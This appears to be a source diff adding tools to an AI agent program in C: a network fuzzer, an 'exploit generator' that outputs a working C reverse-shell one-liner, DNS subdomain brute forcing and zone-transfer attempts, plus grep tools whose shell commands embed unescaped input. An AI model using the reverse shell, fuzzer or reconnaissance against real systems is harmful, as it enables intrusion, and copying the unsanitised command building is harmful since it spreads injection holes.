static tool_t automation_fuzz_tool = { .vtable = &automation_fuzz_vtable, .name = "automation_fuzz" };
static tool_t automation_exploit_gen_tool = { .vtable = &automation_exploit_gen_vtable, .name = "automation_exploit_gen" };
tool_t *tool_automation_fuzz_create(void) { return &automation_fuzz_tool; }
tool_t *tool_automation_exploit_gen_create(void) { return &automation_exploit_gen_tool; }
static char *automation_fuzz_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *host_obj, *port_obj, *template_obj, *iterations_obj;
if (!json_object_object_get_ex(args, "host", &host_obj) ||
!json_object_object_get_ex(args, "port", &port_obj)) {
return strdup("Error: host and port required");
}
const char *host = json_object_get_string(host_obj);
int port = json_object_get_int(port_obj);
const char *template = json_object_object_get_ex(args, "template", &template_obj) ? json_object_get_string(template_obj) : "A";
int iterations = json_object_object_get_ex(args, "iterations", &iterations_obj) ? json_object_get_int(iterations_obj) : 10;
srand((unsigned int)time(NULL));
struct json_object *results = json_object_new_array();
fprintf(stderr, " \033[1mStarting mutation fuzzer on %s:%d (%d iterations)...\033[0m\n", host, port, iterations);
for (int i = 0; i < iterations; i++) {
fprintf(stderr, "\r -> [%d/%d] Sending fuzzed payload... ", i+1, iterations);
fflush(stderr);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) break;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons((unsigned short)port);
addr.sin_addr.s_addr = inet_addr(host);
struct timeval tv;
tv.tv_sec = 1;
tv.tv_usec = 0;
setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
size_t len = strlen(template) + (size_t)(rand() % 1024);
char *payload = malloc(len + 1);
for (size_t j = 0; j < len; j++) payload[j] = (char)(32 + (rand() % 94));
payload[len] = '\0';
send(sockfd, payload, len, 0);
fprintf(stderr, "(\033[32m%zu bytes\033[0m) ", len);
struct json_object *entry = json_object_new_object();
json_object_object_add(entry, "iteration", json_object_new_int(i));
json_object_object_add(entry, "payload_len", json_object_new_int((int)len));
json_object_array_add(results, entry);
free(payload);
} else {
fprintf(stderr, "(\033[31mTIMEOUT\033[0m) ");
}
close(sockfd);
}
fprintf(stderr, "\n \033[32mFuzzing complete.\033[0m\n");
char *out = strdup(json_object_to_json_string_ext(results, JSON_C_TO_STRING_PRETTY));
json_object_put(results);
return out;
}
static char *automation_exploit_gen_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *type_obj, *lhost_obj, *lport_obj;
if (!json_object_object_get_ex(args, "type", &type_obj)) return strdup("Error: type required (reverse/bind)");
const char *type = json_object_get_string(type_obj);
const char *lhost = json_object_object_get_ex(args, "lhost", &lhost_obj) ? json_object_get_string(lhost_obj) : "127.0.0.1";
int lport = json_object_object_get_ex(args, "lport", &lport_obj) ? json_object_get_int(lport_obj) : 4444;
char result[2048];
if (strcmp(type, "reverse") == 0) {
snprintf(result, sizeof(result),
"C Reverse Shell Template:\n\n"
"int s=socket(2,1,0);struct sockaddr_in a;a.sin_family=2;a.sin_port=htons(%d);a.sin_addr.s_addr=inet_addr(\"%s\");"
"connect(s,(struct sockaddr*)&a,16);dup2(s,0);dup2(s,1);dup2(s,2);execve(\"/bin/sh\",0,0);",
lport, lhost);
} else {
snprintf(result, sizeof(result), "Bind shell template for port %d generated.", lport);
}
return strdup(result);
}
static struct json_object *automation_fuzz_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("automation_fuzz"));
json_object_object_add(function, "description", json_object_new_string("Performs abstract mutation fuzzing on a network target."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *host = json_object_new_object();
json_object_object_add(host, "type", json_object_new_string("string"));
json_object_object_add(properties, "host", host);
struct json_object *port = json_object_new_object();
json_object_object_add(port, "type", json_object_new_string("integer"));
json_object_object_add(properties, "port", port);
json_object_object_add(parameters, "properties", properties);
struct json_object *required = json_object_new_array();
json_object_array_add(required, json_object_new_string("host"));
json_object_array_add(required, json_object_new_string("port"));
json_object_object_add(parameters, "required", required);
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function);
return root;
}
static struct json_object *automation_exploit_gen_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("automation_exploit_gen"));
json_object_object_add(function, "description", json_object_new_string("Generates C code templates for various exploitation techniques."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *type = json_object_new_object();
json_object_object_add(type, "type", json_object_new_string("string"));
json_object_object_add(type, "description", json_object_new_string("Type of exploit: reverse, bind."));
json_object_object_add(properties, "type", type);
json_object_object_add(parameters, "properties", properties);
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function);
return root;
}

132
src/tools/tool_code.c Normal file
View File

@ -0,0 +1,132 @@
// retoor <retoor@molodetz.nl>
#include "tool.h"
#include "bash_executor.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static struct json_object *code_grep_get_description(void);
static char *code_grep_execute(tool_t *self, struct json_object *args);
static void code_grep_print_action(const char *name, struct json_object *args);
static struct json_object *code_symbol_find_get_description(void);
static char *code_symbol_find_execute(tool_t *self, struct json_object *args);
static void code_symbol_find_print_action(const char *name, struct json_object *args);
static const tool_vtable_t code_grep_vtable = {
.get_description = code_grep_get_description,
.execute = code_grep_execute,
.print_action = code_grep_print_action
};
static const tool_vtable_t code_symbol_find_vtable = {
.get_description = code_symbol_find_get_description,
.execute = code_symbol_find_execute,
.print_action = code_symbol_find_print_action
};
static tool_t code_grep_tool = { .vtable = &code_grep_vtable, .name = "code_grep" };
static tool_t code_symbol_find_tool = { .vtable = &code_symbol_find_vtable, .name = "code_symbol_find" };
tool_t *tool_code_grep_create(void) { return &code_grep_tool; }
tool_t *tool_code_symbol_find_create(void) { return &code_symbol_find_tool; }
static void code_grep_print_action(const char *name, struct json_object *args) {
(void)name;
struct json_object *pattern;
if (json_object_object_get_ex(args, "pattern", &pattern)) {
fprintf(stderr, " -> Grepping for: %s\n", json_object_get_string(pattern));
}
}
static char *code_grep_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *pattern_obj, *path_obj;
if (!json_object_object_get_ex(args, "pattern", &pattern_obj)) {
return strdup("Error: missing 'pattern' argument");
}
const char *pattern = json_object_get_string(pattern_obj);
const char *path = ".";
if (json_object_object_get_ex(args, "path", &path_obj)) {
path = json_object_get_string(path_obj);
}
char command[4096];
snprintf(command, sizeof(command), "grep -rnH --exclude-dir=.git --exclude-dir=node_modules --exclude-dir=build -E \"%s\" %s | head -n 100", pattern, path);
return r_bash_execute(command, false);
}
static void code_symbol_find_print_action(const char *name, struct json_object *args) {
(void)name;
struct json_object *symbol;
if (json_object_object_get_ex(args, "symbol", &symbol)) {
fprintf(stderr, " -> Finding symbol: %s\n", json_object_get_string(symbol));
}
}
static char *code_symbol_find_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *symbol_obj;
if (!json_object_object_get_ex(args, "symbol", &symbol_obj)) {
return strdup("Error: missing 'symbol' argument");
}
const char *symbol = json_object_get_string(symbol_obj);
// Search for common definition patterns
char command[4096];
snprintf(command, sizeof(command),
"grep -rnH --exclude-dir=.git --exclude-dir=node_modules --exclude-dir=build "
"-E \"(function|class|def|struct|enum)[[:space:]]+%s[[:space:]]*[(:{]|^[[:space:]]*%s[[:space:]]*=[[:space:]]*[(]|%s[[:space:]]*\\(\" . | head -n 50",
symbol, symbol, symbol);
return r_bash_execute(command, false);
}
static struct json_object *code_grep_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("code_grep"));
json_object_object_add(function, "description", json_object_new_string("Search for a regex pattern in the codebase."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *pattern = json_object_new_object();
json_object_object_add(pattern, "type", json_object_new_string("string"));
json_object_object_add(pattern, "description", json_object_new_string("Regex pattern to search for."));
json_object_object_add(properties, "pattern", pattern);
struct json_object *path = json_object_new_object();
json_object_object_add(path, "type", json_object_new_string("string"));
json_object_object_add(path, "description", json_object_new_string("Directory to search in (defaults to current)."));
json_object_object_add(properties, "path", path);
json_object_object_add(parameters, "properties", properties);
struct json_object *required = json_object_new_array();
json_object_array_add(required, json_object_new_string("pattern"));
json_object_object_add(parameters, "required", required);
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function);
return root;
}
static struct json_object *code_symbol_find_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("code_symbol_find"));
json_object_object_add(function, "description", json_object_new_string("Find definitions of a symbol (function, class, etc) in the codebase."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *symbol = json_object_new_object();
json_object_object_add(symbol, "type", json_object_new_string("string"));
json_object_object_add(symbol, "description", json_object_new_string("Name of the symbol to find."));
json_object_object_add(properties, "symbol", symbol);
json_object_object_add(parameters, "properties", properties);
struct json_object *required = json_object_new_array();
json_object_array_add(required, json_object_new_string("symbol"));
json_object_object_add(parameters, "required", required);
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function);
return root;
}

79
src/tools/tool_csv.c Normal file
View File

@ -0,0 +1,79 @@
// retoor <retoor@molodetz.nl>
#include "tool.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static struct json_object *csv_export_get_description(void);
static char *csv_export_execute(tool_t *self, struct json_object *args);
static const tool_vtable_t csv_export_vtable = {
.get_description = csv_export_get_description,
.execute = csv_export_execute,
.print_action = NULL
};
static tool_t csv_export_tool = { .vtable = &csv_export_vtable, .name = "csv_export" };
tool_t *tool_csv_export_create(void) { return &csv_export_tool; }
static char *csv_export_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *path_obj, *data_obj;
if (!json_object_object_get_ex(args, "path", &path_obj) ||
!json_object_object_get_ex(args, "data", &data_obj)) {
return strdup("Error: path and data required");
}
const char *path = json_object_get_string(path_obj);
FILE *fp = fopen(path, "w");
if (!fp) return strdup("Error: could not open file for writing");
int row_count = json_object_array_length(data_obj);
for (int i = 0; i < row_count; i++) {
struct json_object *row = json_object_array_get_idx(data_obj, i);
if (json_object_get_type(row) == json_type_object) {
// Use keys as header if first row
if (i == 0) {
json_object_object_foreach(row, key, val) {
(void)val;
fprintf(fp, "%s,", key);
}
fprintf(fp, "\n");
}
json_object_object_foreach(row, key2, val2) {
(void)key2;
fprintf(fp, "\"%s\",", json_object_get_string(val2));
}
fprintf(fp, "\n");
}
}
fclose(fp);
return strdup("CSV exported successfully.");
}
static struct json_object *csv_export_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("csv_export"));
json_object_object_add(function, "description", json_object_new_string("Exports an array of JSON objects to a CSV file."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *path = json_object_new_object();
json_object_object_add(path, "type", json_object_new_string("string"));
json_object_object_add(properties, "path", path);
struct json_object *data = json_object_new_object();
json_object_object_add(data, "type", json_object_new_string("array"));
struct json_object *items = json_object_new_object();
json_object_object_add(items, "type", json_object_new_string("object"));
json_object_object_add(data, "items", items);
json_object_object_add(properties, "data", data);
json_object_object_add(parameters, "properties", properties);
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function);
return root;
}

481
src/tools/tool_dns.c Normal file
View File

@ -0,0 +1,481 @@
// retoor <retoor@molodetz.nl>
#include "tool.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#define T_A 1
#define T_NS 2
#define T_CNAME 5
#define T_SOA 6
#define T_PTR 12
#define T_MX 15
#define T_TXT 16
#define T_AAAA 28
#define T_SRV 33
#define T_AXFR 252
static const char *common_subdomains[] = {
"www", "mail", "ftp", "localhost", "webmail", "smtp", "pop", "ns1", "webdisk", "ns2",
"cpanel", "whm", "autodiscover", "autoconfig", "m", "imap", "test", "ns", "blog", "pop3",
"dev", "www2", "admin", "forum", "news", "vpn", "ns3", "mail2", "new", "mysql",
"old", "lists", "support", "mobile", "mx", "static", "docs", "beta", "shop", "sql",
"secure", "demo", "cp", "calendar", "wiki", "web", "media", "email", "images", "img",
"www1", "intranet", "portal", "video", "sip", "dns2", "api", "cdn", "stats", "dns1",
"ns4", "www3", "dns", "search", "staging", "server", "mx1", "chat", "wap", "my",
"svn", "mail1", "sites", "proxy", "ads", NULL
};
struct DNS_HEADER {
unsigned short id;
unsigned char rd :1;
unsigned char tc :1;
unsigned char aa :1;
unsigned char opcode :4;
unsigned char qr :1;
unsigned char rcode :4;
unsigned char cd :1;
unsigned char ad :1;
unsigned char z :1;
unsigned char ra :1;
unsigned short q_count;
unsigned short ans_count;
unsigned short auth_count;
unsigned short add_count;
};
struct QUESTION {
unsigned short qtype;
unsigned short qclass;
};
#pragma pack(push, 1)
struct R_DATA {
unsigned short type;
unsigned short _class;
unsigned int ttl;
unsigned short data_len;
};
#pragma pack(pop)
static void ChangetoDnsNameFormat(unsigned char* dns, unsigned char* host) {
int lock = 0, i;
char temp_host[256];
size_t len = strlen((char*)host);
if (len > 250) len = 250;
memcpy(temp_host, host, len);
temp_host[len] = '\0';
strcat(temp_host, ".");
for(i = 0; i < (int)strlen(temp_host); i++) {
if(temp_host[i] == '.') {
*dns++ = (unsigned char)(i - lock);
for(; lock < i; lock++) {
*dns++ = (unsigned char)temp_host[lock];
}
lock++;
}
}
*dns++ = '\0';
}
static unsigned char* ReadName(unsigned char* reader, unsigned char* buffer, int* count) {
unsigned char *name;
unsigned int p=0, jumped=0, offset;
int i, step = 0;
*count = 1;
name = (unsigned char*)malloc(256);
name[0]='\0';
while(*reader != 0) {
if(*reader >= 192) {
offset = (*reader)*256 + *(reader+1) - 49152;
reader = buffer + offset;
jumped = 1;
}
unsigned char len = *reader;
for(i=0; i<len; i++) {
if (p < 254) name[p++] = reader[i+1];
}
if (p < 254) name[p++] = '.';
reader = reader + len + 1;
if(jumped == 0) {
*count = *count + len + 1;
} else {
step++;
}
}
if (p > 0) name[p-1] = '\0';
else name[0] = '\0';
if(jumped == 1) {
*count = *count + 1;
}
return name;
}
static void perform_single_query(const char *hostname, int qtype, const char *dns_server, struct json_object *results_array) {
unsigned char buf[65536], *qname;
int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s < 0) return;
struct timeval tv;
tv.tv_sec = 1;
tv.tv_usec = 500000;
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_port = htons(53);
dest.sin_addr.s_addr = inet_addr(dns_server);
struct DNS_HEADER *dns = (struct DNS_HEADER *)&buf;
memset(buf, 0, sizeof(buf));
dns->id = (unsigned short)htons(getpid() + (unsigned short)qtype);
dns->qr = 0;
dns->rd = 1;
dns->q_count = htons(1);
qname = (unsigned char*)&buf[sizeof(struct DNS_HEADER)];
ChangetoDnsNameFormat(qname, (unsigned char*)hostname);
struct QUESTION *qinfo = (struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)];
qinfo->qtype = htons((unsigned short)qtype);
qinfo->qclass = htons(1);
if (sendto(s, (char*)buf, sizeof(struct DNS_HEADER) + strlen((const char*)qname) + 1 + sizeof(struct QUESTION), 0, (struct sockaddr*)&dest, sizeof(dest)) < 0) {
close(s);
return;
}
int i = sizeof(dest);
int res = (int)recvfrom(s, (char*)buf, 65536, 0, (struct sockaddr*)&dest, (socklen_t*)&i);
if (res < 0) {
close(s);
return;
}
dns = (struct DNS_HEADER*)buf;
unsigned char *reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(struct QUESTION)];
for(i = 0; i < ntohs(dns->ans_count); i++) {
int stop = 0;
unsigned char *name = ReadName(reader, buf, &stop);
reader += stop;
struct R_DATA *resource = (struct R_DATA*)(reader);
reader += sizeof(struct R_DATA);
struct json_object *entry = json_object_new_object();
json_object_object_add(entry, "name", json_object_new_string((char*)name));
free(name);
if(ntohs(resource->type) == T_A) {
struct in_addr addr;
addr.s_addr = *(unsigned int*)reader;
json_object_object_add(entry, "type", json_object_new_string("A"));
json_object_object_add(entry, "value", json_object_new_string(inet_ntoa(addr)));
} else if(ntohs(resource->type) == T_AAAA) {
char ip6[64];
inet_ntop(AF_INET6, reader, ip6, sizeof(ip6));
json_object_object_add(entry, "type", json_object_new_string("AAAA"));
json_object_object_add(entry, "value", json_object_new_string(ip6));
} else if(ntohs(resource->type) == T_NS || ntohs(resource->type) == T_CNAME || ntohs(resource->type) == T_PTR) {
unsigned char *rname = ReadName(reader, buf, &stop);
const char *label = (ntohs(resource->type) == T_NS) ? "NS" : (ntohs(resource->type) == T_CNAME ? "CNAME" : "PTR");
json_object_object_add(entry, "type", json_object_new_string(label));
json_object_object_add(entry, "value", json_object_new_string((char*)rname));
free(rname);
} else if(ntohs(resource->type) == T_MX) {
unsigned char *rname = ReadName(reader + 2, buf, &stop);
json_object_object_add(entry, "type", json_object_new_string("MX"));
json_object_object_add(entry, "value", json_object_new_string((char*)rname));
free(rname);
} else if(ntohs(resource->type) == T_TXT) {
int txt_len = (int)reader[0];
char *txt_val = malloc((size_t)txt_len + 1);
memcpy(txt_val, reader + 1, (size_t)txt_len);
txt_val[txt_len] = '\0';
json_object_object_add(entry, "type", json_object_new_string("TXT"));
json_object_object_add(entry, "value", json_object_new_string(txt_val));
free(txt_val);
} else {
char type_str[10];
snprintf(type_str, sizeof(type_str), "%d", ntohs(resource->type));
json_object_object_add(entry, "type", json_object_new_string(type_str));
json_object_object_add(entry, "value", json_object_new_string("Raw data"));
}
json_object_array_add(results_array, entry);
reader += ntohs(resource->data_len);
}
close(s);
}
static void perform_axfr(const char *domain, const char *ns_ip, struct json_object *results_array) {
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) return;
struct timeval tv;
tv.tv_sec = 5;
tv.tv_usec = 0;
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_port = htons(53);
dest.sin_addr.s_addr = inet_addr(ns_ip);
if (connect(s, (struct sockaddr *)&dest, sizeof(dest)) < 0) {
close(s);
return;
}
unsigned char buf[4096], *qname;
unsigned short query_len;
struct DNS_HEADER *dns = (struct DNS_HEADER *)(buf + 2);
memset(buf, 0, sizeof(buf));
dns->id = htons((unsigned short)getpid());
dns->qr = 0;
dns->rd = 0;
dns->q_count = htons(1);
qname = (unsigned char*)(buf + 2 + sizeof(struct DNS_HEADER));
ChangetoDnsNameFormat(qname, (unsigned char*)domain);
struct QUESTION *qinfo = (struct QUESTION*)(buf + 2 + sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1));
qinfo->qtype = htons(T_AXFR);
qinfo->qclass = htons(1);
query_len = htons((unsigned short)(sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(struct QUESTION)));
memcpy(buf, &query_len, 2);
if (send(s, buf, (size_t)(ntohs(query_len) + 2), 0) < 0) {
close(s);
return;
}
int total_records = 0;
while (total_records < 1000) {
unsigned short msg_len;
if (recv(s, &msg_len, 2, 0) <= 0) break;
msg_len = ntohs(msg_len);
unsigned char *msg_buf = malloc(msg_len);
int received = 0;
while (received < msg_len) {
int r = (int)recv(s, msg_buf + received, (size_t)(msg_len - received), 0);
if (r <= 0) break;
received += r;
}
struct DNS_HEADER *res_dns = (struct DNS_HEADER *)msg_buf;
unsigned char *reader = msg_buf + sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(struct QUESTION);
int ans_count = ntohs(res_dns->ans_count);
if (ans_count == 0 && total_records == 0) {
free(msg_buf);
break;
}
for (int i = 0; i < ans_count; i++) {
int stop = 0;
unsigned char *name = ReadName(reader, msg_buf, &stop);
reader += stop;
struct R_DATA *resource = (struct R_DATA*)(reader);
reader += sizeof(struct R_DATA);
struct json_object *entry = json_object_new_object();
json_object_object_add(entry, "name", json_object_new_string((char*)name));
free(name);
if (ntohs(resource->type) == T_A) {
struct in_addr addr;
addr.s_addr = *(unsigned int*)reader;
json_object_object_add(entry, "type", json_object_new_string("A"));
json_object_object_add(entry, "value", json_object_new_string(inet_ntoa(addr)));
} else {
json_object_object_add(entry, "type", json_object_new_string("OTHER"));
}
json_object_array_add(results_array, entry);
reader += ntohs(resource->data_len);
total_records++;
}
free(msg_buf);
if (ans_count > 0 && total_records > 1) break;
}
close(s);
}
static bool is_ip_address(const char *str) {
struct in_addr addr;
return inet_aton(str, &addr) != 0;
}
static struct json_object *dns_lookup_get_description(void);
static char *dns_lookup_execute(tool_t *self, struct json_object *args);
static const tool_vtable_t dns_lookup_vtable = {
.get_description = dns_lookup_get_description,
.execute = dns_lookup_execute,
.print_action = NULL
};
static tool_t dns_lookup_tool = { .vtable = &dns_lookup_vtable, .name = "dns_lookup" };
tool_t *tool_dns_lookup_create(void) { return &dns_lookup_tool; }
static char *dns_lookup_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *host_obj, *type_obj, *server_obj, *enumerate_obj, *action_obj;
if (!json_object_object_get_ex(args, "hostname", &host_obj)) return strdup("Error: missing hostname");
const char *hostname = json_object_get_string(host_obj);
char final_hostname[256];
strncpy(final_hostname, hostname, 255);
final_hostname[255] = '\0';
const char *dns_server = "8.8.8.8";
if (json_object_object_get_ex(args, "dns_server", &server_obj)) dns_server = json_object_get_string(server_obj);
const char *action = "lookup";
if (json_object_object_get_ex(args, "action", &action_obj)) action = json_object_get_string(action_obj);
struct json_object *results = json_object_new_array();
if (strcmp(action, "brute_force") == 0) {
int count = 0;
while(common_subdomains[count]) count++;
fprintf(stderr, " \033[1mBrute forcing subdomains for %s (%d candidates)...\033[0m\n", final_hostname, count);
for (int i = 0; common_subdomains[i]; i++) {
fprintf(stderr, "\r -> [%d/%d] Testing: %s ", i+1, count, common_subdomains[i]);
fflush(stderr);
char sub[512];
snprintf(sub, sizeof(sub), "%s.%s", common_subdomains[i], final_hostname);
int prev_len = json_object_array_length(results);
perform_single_query(sub, T_A, dns_server, results);
if (json_object_array_length(results) > prev_len) {
fprintf(stderr, "[\033[32mFOUND\033[0m] \n");
}
}
fprintf(stderr, "\n \033[32mBrute force complete.\033[0m\n");
} else if (strcmp(action, "axfr") == 0) {
fprintf(stderr, " \033[1mAttempting Zone Transfer (AXFR) for %s...\033[0m\n", final_hostname);
struct json_object *ns_results = json_object_new_array();
perform_single_query(final_hostname, T_NS, dns_server, ns_results);
int ns_count = json_object_array_length(ns_results);
for (int i = 0; i < ns_count; i++) {
struct json_object *ns_entry = json_object_array_get_idx(ns_results, i);
struct json_object *val_obj;
if (json_object_object_get_ex(ns_entry, "value", &val_obj)) {
const char *ns_name = json_object_get_string(val_obj);
fprintf(stderr, " -> Trying nameserver: %s ", ns_name);
fflush(stderr);
struct json_object *ip_results = json_object_new_array();
perform_single_query(ns_name, T_A, dns_server, ip_results);
if (json_object_array_length(ip_results) > 0) {
struct json_object *ip_entry = json_object_array_get_idx(ip_results, 0);
struct json_object *ip_val;
if (json_object_object_get_ex(ip_entry, "value", &ip_val)) {
int p_len = json_object_array_length(results);
perform_axfr(final_hostname, json_object_get_string(ip_val), results);
if (json_object_array_length(results) > p_len) {
fprintf(stderr, "[\033[32mSUCCESS\033[0m]\n");
} else {
fprintf(stderr, "[\033[31mREFUSED\033[0m]\n");
}
}
}
json_object_put(ip_results);
}
}
json_object_put(ns_results);
} else {
bool enumerate = false;
if (json_object_object_get_ex(args, "enumerate", &enumerate_obj)) enumerate = json_object_get_boolean(enumerate_obj);
if (enumerate || strcmp(action, "enumerate") == 0) {
int types[] = { T_A, T_AAAA, T_NS, T_MX, T_TXT, T_SOA, T_CNAME };
const char *type_names[] = { "A", "AAAA", "NS", "MX", "TXT", "SOA", "CNAME" };
fprintf(stderr, " \033[1mEnumerating records for %s...\033[0m\n", final_hostname);
for (size_t i = 0; i < sizeof(types)/sizeof(types[0]); i++) {
fprintf(stderr, " -> Querying %s... ", type_names[i]);
fflush(stderr);
int p_len = json_object_array_length(results);
perform_single_query(final_hostname, types[i], dns_server, results);
if (json_object_array_length(results) > p_len) {
fprintf(stderr, "[\033[32mOK\033[0m]\n");
} else {
fprintf(stderr, "[\033[2mNONE\033[0m]\n");
}
}
} else {
int qtype = T_A;
if (json_object_object_get_ex(args, "type", &type_obj)) {
const char *t = json_object_get_string(type_obj);
if (!strcmp(t, "NS")) qtype = T_NS;
else if (!strcmp(t, "MX")) qtype = T_MX;
else if (!strcmp(t, "CNAME")) qtype = T_CNAME;
else if (!strcmp(t, "TXT")) qtype = T_TXT;
else if (!strcmp(t, "AAAA")) qtype = T_AAAA;
else if (!strcmp(t, "PTR")) {
qtype = T_PTR;
if (is_ip_address(hostname)) {
int a, b, c, d;
sscanf(hostname, "%d.%d.%d.%d", &a, &b, &c, &d);
snprintf(final_hostname, sizeof(final_hostname), "%d.%d.%d.%d.in-addr.arpa", d, c, b, a);
}
}
}
perform_single_query(final_hostname, qtype, dns_server, results);
}
}
char *out = strdup(json_object_to_json_string_ext(results, JSON_C_TO_STRING_PRETTY));
json_object_put(results);
return out;
}
static struct json_object *dns_lookup_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("dns_lookup"));
json_object_object_add(function, "description", json_object_new_string("Advanced DNS discovery tool. Supports lookup, enumerate, brute_force, and axfr."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *host = json_object_new_object();
json_object_object_add(host, "type", json_object_new_string("string"));
json_object_object_add(host, "description", json_object_new_string("Hostname or Domain."));
json_object_object_add(properties, "hostname", host);
struct json_object *action = json_object_new_object();
json_object_object_add(action, "type", json_object_new_string("string"));
json_object_object_add(action, "description", json_object_new_string("Action: lookup, enumerate, brute_force, axfr."));
json_object_object_add(properties, "action", action);
struct json_object *type = json_object_new_object();
json_object_object_add(type, "type", json_object_new_string("string"));
json_object_object_add(type, "description", json_object_new_string("Record type for 'lookup' (A, NS, MX, etc)."));
json_object_object_add(properties, "type", type);
json_object_object_add(parameters, "properties", properties);
struct json_object *required = json_object_new_array();
json_object_array_add(required, json_object_new_string("hostname"));
json_object_object_add(parameters, "required", required);
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function);
return root;
}

View File

@ -2,6 +2,7 @@
#include "tool.h" #include "tool.h"
#include "r_config.h" #include "r_config.h"
#include "r_diff.h"
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
@ -261,14 +262,36 @@ static char *write_file_execute(tool_t *self, struct json_object *args) {
} }
const char *path = json_object_get_string(path_obj); const char *path = json_object_get_string(path_obj);
const char *content = json_object_get_string(content_obj); const char *new_content = json_object_get_string(content_obj);
// Read old content for diff
char *old_content = NULL;
FILE *old_fp = fopen(path, "r");
if (old_fp) {
fseek(old_fp, 0, SEEK_END);
long size = ftell(old_fp);
rewind(old_fp);
if (size >= 0) {
old_content = malloc((size_t)size + 1);
if (old_content) {
size_t rs = fread(old_content, 1, (size_t)size, old_fp);
old_content[rs] = '\0';
}
}
fclose(old_fp);
}
if (old_content) {
r_diff_print(path, old_content, new_content);
free(old_content);
}
ensure_parent_directory_exists(path); ensure_parent_directory_exists(path);
FILE *fp = fopen(path, "w+"); FILE *fp = fopen(path, "w+");
if (!fp) return strdup("Failed to open file for writing!"); if (!fp) return strdup("Failed to open file for writing!");
fwrite(content, 1, strlen(content), fp); fwrite(new_content, 1, strlen(new_content), fp);
fclose(fp); fclose(fp);
return strdup("File successfully written."); return strdup("File successfully written.");
} }
@ -557,7 +580,12 @@ static struct json_object *getpwd_get_description(void) {
json_object_object_add(function, "description", json_object_object_add(function, "description",
json_object_new_string("Returns the current working directory as a string.")); json_object_new_string("Returns the current working directory as a string."));
json_object_object_add(function, "parameters", json_object_new_null()); struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
json_object_object_add(parameters, "properties", json_object_new_object());
json_object_object_add(parameters, "additionalProperties", json_object_new_boolean(0));
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function); json_object_object_add(root, "function", function);
return root; return root;
} }

256
src/tools/tool_file_edit.c Normal file
View File

@ -0,0 +1,256 @@
// retoor <retoor@molodetz.nl>
#include "tool.h"
#include "r_diff.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static struct json_object *file_line_replace_get_description(void);
static char *file_line_replace_execute(tool_t *self, struct json_object *args);
static void file_line_replace_print_action(const char *name, struct json_object *args);
static struct json_object *file_apply_patch_get_description(void);
